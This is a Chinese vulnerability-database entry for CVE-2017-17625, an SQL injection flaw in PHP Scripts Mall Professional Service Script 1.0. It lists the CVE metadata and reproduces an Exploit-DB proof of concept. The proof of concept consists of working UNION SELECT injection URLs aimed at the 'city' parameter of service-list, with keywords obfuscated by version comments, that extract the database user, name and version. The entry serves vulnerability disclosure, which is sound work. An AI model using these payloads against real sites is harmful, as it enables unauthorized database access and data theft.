PHP Scripts Mall Professional Service Script SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1124551 漏洞类型 SQL注入
发布时间 2017-12-11 更新时间 2020-03-11
CVE编号 CVE-2017-17625 CNNVD-ID CNNVD-201712-517
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/43294
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201712-517
|漏洞详情
PHP Scripts Mall Professional Service Script是印度PHP Scripts Mall公司的一套基于PHP的专业服务网站脚本。该脚本能够为用户提供所需的专业服务人员信息。 PHP Scripts Mall Professional Service Script 1.0版本中存在SQL注入漏洞。远程攻击者可通过向service-list发送‘city’参数利用该漏洞注入SQL命令。
|漏洞EXP
# # # # # 
# Exploit Title: Professional Service Script 1.0 - SQL Injection
# Dork: N/A
# Date: 09.12.2017
# Vendor Homepage: https://www.phpscriptsmall.com/
# Software Link: https://www.phpscriptsmall.com/product/professional-service-script/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 1)
# http://localhost/[PATH]/service-list?city=[SQL]&main_search=
# 
# '+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-
# 
# http://server/service-list?city='+/*!13337UNION*/+/*!13337SELECT*/+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,CONCAT_WS(0x203a20,USER(),DATABASE(),VERSION()),25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52--+-&main_search=
# 
# # # # #
|参考资料

来源:MISC
链接:https://packetstormsecurity.com/files/145337/Professional-Service-Script-1.0-SQL-Injection.html